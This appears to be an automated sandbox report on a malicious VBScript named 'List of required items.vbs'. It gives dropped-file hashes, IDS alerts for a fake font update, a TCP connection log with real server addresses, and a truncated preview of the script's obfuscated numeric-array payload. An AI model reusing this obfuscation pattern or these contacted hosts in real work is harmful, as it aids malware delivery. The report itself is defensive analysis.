C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4761 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4761
Entropy (8bit):	7.945585251880973
Encrypted:	false
SSDEEP:	96:6ZUpZsm0HwZ8FLSeXs+aiL9qcZ7KtlAD1GlNHgdkVI5F11AcNmwkVFzGz6ENhZC7:62T0QOLl8vAqcZ7K3AUNAdx5FAx9VEOj
MD5:	77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA1:	9E98ACE72BD2AB931341427A856EF4CEA6FAF806
SHA-256:	5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
SHA-512:	3537DA5E7F3ABA3DAFE6A86E9511ABA20B7A3D34F30AEA6CC11FEEF7768BD63C0C85679C49E99C3291BD1B552DED2C6973B6C2F7F6D731BCFACECAB218E72FD4
Malicious:	false
Preview:	MSCF............,...................O..................YWP .disallowedcert.stl.lJ..B...CK.wTS.....{.&Uz.I."E".HS@. .P.!.....E. .DQ..... EDA.H. E..""/.s<.s.9.....&#.{~k.VV..7@......b.R....MdT..B.L..%.C......" ....%.4%..%.B..T.d...S.....pem..$....&.q.`.+...E..C.....$.\|.A.!~d.H>w%S$...QC't..;..<..R@....2. .l..?..c..A....Ew...l..K$.. ~...'......Mt^c..s.Y%..}......h......m....h.......~d...,...=ge3.....2%..(...T..!].....!C~.X..MHU.o[.z].Y...&lXG;uW.:...2!..][\/.G..]6#.I...S..#F.X.k.j.....)Nc.].t^.-l.Y...4?.b...rY....A......7.D.H\.R...s.L,.6.\|.....VQ....<........... [Z....].N0LU.X........6..C\....F.....KbZ..^=.@.B..MyH...%.2.>...]..E.....sZ.f..3z.].Y.t.d$.....P...,. .~..mNZ[PL.<....d..+...l.-...b.^....6F..z.&.;D.._..c."...d..... k9....60?&..Y.v.dgu...{.....{..d=..$......@^..qA..*uJ..@W.V..eC..AV.e+21...N.{.]..]..f]..`Z.....]2.....x..f..K...t. ...e.V.U.$PV..@6W\_nsm.n.........A<.......d....@f..Z... >R..k.....8..Y....E>..2o7..........c..K7n....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	3.2565883919783145
Encrypted:	false
SSDEEP:	6:kK93q5+7DNfUN+SkQlPlEGYRMY9z+s3Ql2DUeXJlOW1:FdLkPlE99SCQl2DUeXJlOA
MD5:	6ED28AF1AD154F3C9C8AD3D0F1B2BF0D
SHA1:	DF47EF8322DF26B3C518C66FF92884983FE9965D
SHA-256:	92BEE0115835A412BC3019A3C6132E1562AA6A7EBDD1F23193035528CE6B54AE
SHA-512:	AFFD545A6962365336F84F9543F5979F36C4608A408A0B6DB6D55F2995E3F400670CA2909212C7EBC12A0C54D5B471493012AD0E5212917AF45B8E42059C6421
Malicious:	false
Preview:	p...... .........N!.VI..(....................................................... ........~..MG......&.....6.........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".0.6.c.f.c.c.5.4.d.4.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqr2550b.ew1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0vr45gr.mcb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (2740), with CRLF line terminators
Entropy (8bit):	3.596882995347404
TrID:
File name:	List of required items.vbs
File size:	2'998 bytes
MD5:	26590215d0ae3c04117497b6a1546235
SHA1:	b5c169bfd5bd66e504042d950dd128f5419fa927
SHA256:	4a6db7b3a0b88d022e0f13390de064fa75b023541575c352053f3f392459b860
SHA512:	1e9833cb8ebf2c04630acca2facb13e62d9f57e788a01fd60ff92d36b41b9e8ac50455a9e3fba455886a7877041be5d30b2fd09b522c4fb2aa2a9a784299b56d
SSDEEP:	48:GVEp+Xwp+PkRydSvRMOJSICvG7EWcsOM80yd5Ov8B440J2b5jyd5Ov7xwzj40JJ1:uq+Xu+PkRydSvRMOIVvG7EWcsOMhyd5q
TLSH:	1551AF990E0DCFC94A47E3DC71AA140687A0157A372D759DFE839FE5A88DFCC9192883
File Content Preview:	g1yhsaa21zjzhf = Array(1468, 1515, 1502, 1498, 1517, 1502, 1480, 1499, 1507, 1502, 1500, 1517, 1441, 1435, 1488, 1484, 1500, 1515, 1506, 1513, 1517, 1447, 1484, 1505, 1502, 1509, 1509, 1435, 1442, 1447, 1483, 1518, 1511, 1433, 1435, 1513, 1512, 1520, 1502

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T10:46:31.460980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	52.123.243.179	443	TCP
2024-12-08T10:47:33.408964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49742	13.107.246.63	443	TCP
2024-12-08T10:47:42.989197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49769	13.107.246.63	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 10:46:17.961266994 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:17.961333036 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:17.961421967 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:17.972013950 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:17.972034931 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.307359934 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.307446003 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:19.312206984 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:19.312231064 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.312493086 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.325011969 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:19.371341944 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.793386936 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.793458939 CET	443	49706	68.66.226.116	192.168.2.8
Dec 8, 2024 10:46:19.793539047 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:19.803919077 CET	49706	443	192.168.2.8	68.66.226.116
Dec 8, 2024 10:46:20.554512978 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:20.554553032 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:20.554652929 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:20.555011988 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:20.555025101 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:21.988424063 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:21.988559008 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:21.992105007 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:21.992114067 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:21.992372036 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:21.993398905 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:22.035336971 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:22.549148083 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:22.549181938 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:22.549287081 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:22.549294949 CET	443	49709	93.95.216.175	192.168.2.8
Dec 8, 2024 10:46:22.549350023 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:22.570614100 CET	49709	443	192.168.2.8	93.95.216.175
Dec 8, 2024 10:46:29.368324995 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:29.368359089 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:29.368696928 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:29.370349884 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:29.370363951 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:31.460885048 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:31.460979939 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:31.462572098 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:31.462583065 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:31.462832928 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:31.464169025 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:31.507338047 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.197247982 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.234936953 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.234949112 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.235011101 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.235032082 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.235095978 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.430031061 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.430052042 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.430113077 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.430120945 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.430181026 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.475682020 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.475703001 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.475781918 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.475790977 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.475832939 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.596959114 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.596982002 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.597043037 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.597064018 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.597090006 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.597124100 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.624716043 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.624737024 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.624789000 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.624806881 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.624834061 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.624857903 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.647861958 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.647887945 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.647955894 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.647964001 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.648006916 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.665142059 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.665170908 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.665226936 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.665244102 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.665273905 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.665296078 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.782644033 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.782665014 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.782736063 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.782763958 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.782809019 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.784878016 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.798254967 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.798275948 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.798316002 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.798326015 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.798386097 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.800235033 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.800282001 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.800288916 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.800316095 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.800369978 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.800390959 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.800409079 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:46:32.800421000 CET	49715	443	192.168.2.8	52.123.243.179
Dec 8, 2024 10:46:32.800425053 CET	443	49715	52.123.243.179	192.168.2.8
Dec 8, 2024 10:47:25.013710022 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:25.013760090 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:25.015214920 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:25.015607119 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:25.015625000 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:26.744071960 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:26.744158030 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:26.746390104 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:26.746412992 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:26.746658087 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:26.757535934 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:26.803333998 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.219567060 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.219595909 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.219611883 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.219650030 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.219683886 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.219701052 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.219729900 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.399697065 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.399717093 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.399780989 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.399806023 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.399832010 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.399847031 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.443247080 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.443274021 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.443331003 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.443347931 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.443386078 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.569103956 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.569135904 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.569196939 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.569212914 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.569253922 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.607253075 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.607273102 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.607350111 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.607362986 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.607398987 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.628022909 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.628042936 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.628103971 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.628112078 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.628163099 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.649621010 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.649640083 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.649710894 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.649719954 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.649755001 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.755983114 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.756012917 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.756095886 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.756124973 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.756144047 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.756161928 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.771213055 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.771245003 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.771327019 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:27.771353006 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:27.771524906 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.016541004 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.016558886 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.016597986 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.016645908 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.016686916 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.016704082 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.016746044 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134036064 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134074926 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134130001 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134161949 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134176016 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134233952 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134308100 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134327888 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134366035 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134372950 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134401083 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134412050 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.134413958 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134450912 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134974003 CET	49731	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.134990931 CET	443	49731	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186502934 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186506033 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186506033 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186506033 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186506033 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186546087 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186548948 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186553001 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186553955 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186559916 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.186621904 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186691046 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186709881 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186709881 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.186709881 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.187098980 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.187108994 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.187258959 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.187282085 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.187340975 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.187347889 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.189783096 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.189795017 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:28.190035105 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:28.190042973 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.903112888 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.903497934 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.904402018 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.904444933 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.904941082 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.904954910 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.904980898 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.904993057 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.905518055 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.905524015 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.906217098 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.906658888 CET	443	49734	13.107.246.63	192.168.2.8
